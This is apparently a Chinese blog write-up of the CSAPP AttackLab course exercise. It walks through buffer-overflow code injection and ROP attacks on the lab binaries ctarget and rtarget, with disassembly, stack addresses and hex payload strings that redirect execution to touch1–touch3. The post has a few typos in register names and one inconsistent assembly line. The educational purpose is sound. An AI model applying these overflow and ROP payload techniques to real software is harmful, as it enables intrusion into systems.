本篇博客将会介绍 CSAPP 之 AttackLab 的攻击过程,利用缓冲区溢出错误进行代码注入攻击和 ROP 攻击。实验提供了以下几个文件,其中 ctarget 可执行文件用来进行代码注入攻击,rtarget 用来进行 ROP 攻击。

每种攻击都有等级之分,如下表所示。
在 ctarget 中,test 函数内部调用了 getbuf 函数,代码如下所示:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
其中 getbuf 函数会分配缓冲区大小,并调用 Gets 函数读取用户输入的字符串:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
此处 BUFFER_SIZE 需要从汇编代码中获取。level 1 要求攻击者输入一段足够长的字符串,覆盖 test 栈帧中保存的返回地址,使得从 getbuf 返回之后不是继续执行 test 函数的最后一行,而是从 touch1 的第一行开始执行,touch1 的代码如下所示:
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
为了确定字符串的长度和内容,需要分析一下 ctarget 的汇编代码,objdump -d ctarget > ctarget.asm 可以将 ctarget 的汇编代码写入文件。其中 torch1 的代码如下所示:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由此可知,攻击者需要将返回地址修改为 0x4017c0 才能完成 level 1。而 getbuf 的代码如下所示:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可以看到,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。一旦字符串的长度(包括结束符)大于 40,就会覆盖返回地址。字符串的前 40 个字符任意,第 41、42 和 43 个字符的十六进制值必须是 C0、17 和 40,才能将返回地址修改为 0x4017c0。修改前后的栈如下图所示:

由于 C0 和 17 对应的字符打不出来,所以创建一个文件 exploit.txt,在里面写入 40 个 30 (30 之间要有空格隔开)加上 c0 17 40 00,这里加上 00 是必须的(作为结束符),之后使用 hex2raw 将 exploit.txt 中的十六进制数转为字符串并作为 ctarget 的输入,结果如下图所示:

可以看到程序确实跳转到了 touch1 函数,攻击成功( ̄︶ ̄)↗ 。
level 2 要求跳转到 touch2 函数,且执行 if 分支,touch2 的代码如下所示:
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
也就是说需要在跳转到 touch2 之前使用注入的指令,将 %rdi 的值修改为 cookie (本次实验的 cookie 为 0x59b997fa)。要想让输入的指令生效,需要将 getbuf 的返回地址修改为 buf 的起始地址,这样执行 ret 之后会将 M[%rsp] 送到 %rip 中,下次就不会从 Text 区取指令了,而是从 stack 里面取指令(此处就是缓冲区)。原理如下图所示:

上图中的 B 代表缓冲区的起始地址,使用 GDB 可以拿到这个地址为 0x5561dc78:

为了实现 %rdi 的修改和 touch2 的跳转,可以使用如下的汇编代码实现(文件命名为 touch2.s),ret 指令可以将 M[%rsp] 的值(此处为 touch2 的地址 0x4017ec)送到 %rip,使得程序回到 Text 区的 touch2 函数处执行:
mov $0x59b997fa, %edi
ret
使用 gcc -c touch2.s 得到目标文件 touch2.o,再用 objdump -d touch2.o > touch2.asm 进行反汇编,得到包含二进制编码的汇编代码:
touch2_.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
有了二进制机器指令之后,就可以得到用于攻击的字符串的十六进制值了,中间的一大串 30 用来占位:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
ec 17 40 00 /* touch2 的起始地址 */
程序的执行效果如下:

发现这里虽然成功设置了 %rdi 的值为 cookie,也跳转到了 touch2,最终却由于 segment fault 而失败。出现这个错误的原因,是因为我们修改了 12 个字节的栈帧的内容:第一次将 8 个字节的返回地址修改为 buf 起始地址,第二次应该是修改了 launch (调用了 test)栈帧中保存的返回地址。为了解决这个问题,我们将汇编指令修改为:
mov $0x59b997fa, %edi
pushq $0x4017ec
ret
使用 pushq 指令将 touch2 的堆栈压入栈中,一样能实现跳转功能。这样就需要把字符串的十六进制值修改为:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
程序执行效果如下,这次攻击成功了( ̄︶ ̄)↗ :

level 3 要求跳转到 touch3 函数,并且执行 if 分支,代码如下所示:
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
可以看到 touch3 会使用 hexmatch 函数进行字符串匹配,此处 cookie 为 0x59b997fa,sval 是攻击者注入的 cookie 的起始地址。hexmatch 函数将 cookie 从数字转换成了字符串 59b997fa,也就是我们输入的 cookie 就应该是 59b997fa,对应的十六进制为 35 39 62 39 39 37 66 61 。
由于 touch3 开头就使用了 push %rbx,将 %rbx 的值写入了栈中,接着使用 callq 调用了 hexmatch 函数,这个操作也会把 0x401916 返回地址写入 touch3 的栈帧中。在 hexmatch 的开头,连续使用了三条 push 指令,修改了栈的内容。以上的几个操作会改变 buf 缓冲区的内容,%rsp 的变化过程如下图所示:

为了避免输入的 cookie 被覆盖掉,可以将其放在输入字符串的最后,对应的内存地址为 0x5561dc78 + 48d = 0x5561dca8,其余部分和 level 2 相似,如下所示:
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 起始地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
攻击效果如下,pass 说明攻击成功了 ヾ(≧▽≦*)o

代码注入攻击要求能够确定缓冲区的起始地址和缓冲区中注入的代码能够被执行,如果引入栈随机化技术并限制可执行代码区域为 Text 区,代码注入攻击就不好使了,因为我们注入的代码压根就不会被执行。
虽然我们注入的代码不能被执行,但是 Text 区的代码还是可以被执行的。如果能把这些代码组合在一起,实现我们想要的功能,那么也能实现攻击目的。这时候缓冲区保存的就不是指令了,而是一条条 Text 区可以被执行的指令的地址,同时这些指令有个特点,就是后面会跟着 ret 指令,这样才能根据缓冲区中保存的指令地址接着取指。上述的攻击方式就被称为 ROP 攻击。
Level 2 要求使用 ROP 攻击跳转到 touch2 函数并执行 if 分支,并给出了下列要求:
- 只能使用包含
movq、popq、ret和nop的 gadget - 只能操作
%rax到%rdi这前八个寄存器 - 只能使用
start_farm到mid_farm区间内的代码来构造 gadget
并且友情提示了只要两条 gadget 就能实现攻击。我们在代码注入攻击 level 2 中注入了 mov $0x59b997fa, %edi 指令来实现 %rdi 的赋值,但是 start_farm 到 mid_farm 区间内的代码没有包含 0x59b997fa 立即数,所以这个立即数应该由攻击者输入,存在栈中。接着我们可以使用下述指令实现 %rdi 的赋值:
popq %rax
movq %rax, %rdi
其中 popq %rax 对应的机器码为 58,movq %rax, %rdi 对应的机器码为 48 89 c7。在 start_farm 中搜索包含这个机器码,结果如下图所示。

可以看到 addval_219 和 getval_280 中的 58 后面接的不是 90 (对应 nop 指令)就是 c3(对应 ret 指令),可以用于构造 gadget,地址为 0x4019ab 或者 0x4019cc。而 addval_273 和 setvak_426 中的 48 89 c7 也满足条件,地址为 0x4019a2 或者 0x4019c5。
根据上述分析,可以得到字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */
栈的内容如下图所示:

攻击效果如下,成功 PASS q(≧▽≦q)

Level 3 同样要求使用 ROP 攻击跳转到 touch3 并执行 if 分支,本次传递给 %rdi 的是 cookie 字符串的地址,受到栈随机化的影响,缓冲区的起始地址一直在变化,所以不能将 cookie 字符串的地址直接写入缓冲区。但是 %rsp 里面存储了地址,如果我们给这个地址加上一个偏差量,就能得到 cookie 字符串的地址了。
实现上述想法最直白的汇编代码如下所示:
movq $rsp, %rdi
popq %rsi
callq 0x401d6<add_xy>
movq %rax, %rdi
可惜不是每一条指令的机器码都能在 start_farm 到 end_farm 之间找到并构造出 gadget,所以需要稍微绕点远路,结果如下:
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
callq 0x4019d6<add_xy>
movq $rsp, %rdi
根据上述汇编代码的机器码地址可以得到输入字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00 /* addval_190: movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* addval_273: movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
48 00 00 00 00 00 00 00 /* 偏移地址 */
dd 19 40 00 00 00 00 00 /* getval_481: movl %eax, %edx */
69 1a 40 00 00 00 00 00 /* getval_311: movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* addval_436: movl %ecx, %six */
d6 19 40 00 00 00 00 00 /* <add_xy> */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
最终也通过测试了 []~( ̄▽ ̄)~*:

通过这次实验,可以加深对缓冲区溢出安全问题的理解,掌握代码注入攻击和 ROP 攻击的原理,同时对 x86-64 指令的编码方式以及取指有了更好的认识,以上~~
